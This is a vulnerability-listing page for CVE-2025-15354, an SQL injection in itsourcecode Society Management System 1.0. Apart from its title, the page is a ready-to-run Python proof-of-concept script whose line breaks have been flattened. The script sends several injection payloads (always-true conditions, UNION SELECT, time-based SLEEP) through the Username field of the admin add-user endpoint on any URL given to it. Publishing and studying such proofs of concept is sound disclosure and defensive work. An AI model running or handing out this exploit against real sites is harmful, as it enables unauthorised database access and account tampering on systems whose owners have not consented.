CVE-2025-15354 | itsourcecode Society Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15354 SQL Injection PoC # Target: itsourcecode Society Management System 1.0 # Endpoint: /admin/add_admin.php # Parameter: Username def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in add_admin.php This PoC demonstrates the vulnerability by injecting a simple payload that would cause a database error or execute arbitrary SQL """ # Target endpoint endpoint = "/admin/add_admin.php" full_url = target_url.rstrip('/') + endpoint # Malicious payload for Username parameter # This payload attempts to inject SQL via the Username field data = { 'Username': payload, 'Password': 'test123', 'Submit': 'Add' } try: print(f"[*] Sending malicious request to: {full_url}") print(f"[*] Payload: {payload}") response = requests.post(full_url, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[+] Potential SQL injection detected!") print("[+] Server may be vulnerable to SQL injection attacks") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15354.py <target_url>") print("Example: python cve-2025-15354.py http://target.com") sys.exit(1) target = sys.argv[1] # Test payloads payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3-- -", "admin' AND SLEEP(5)-- -", "admin' OR 1=1-- -" ] print("=" * 50) print("CVE-2025-15354 SQL Injection PoC") print("=" * 50) for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_sql_injection(target, payload)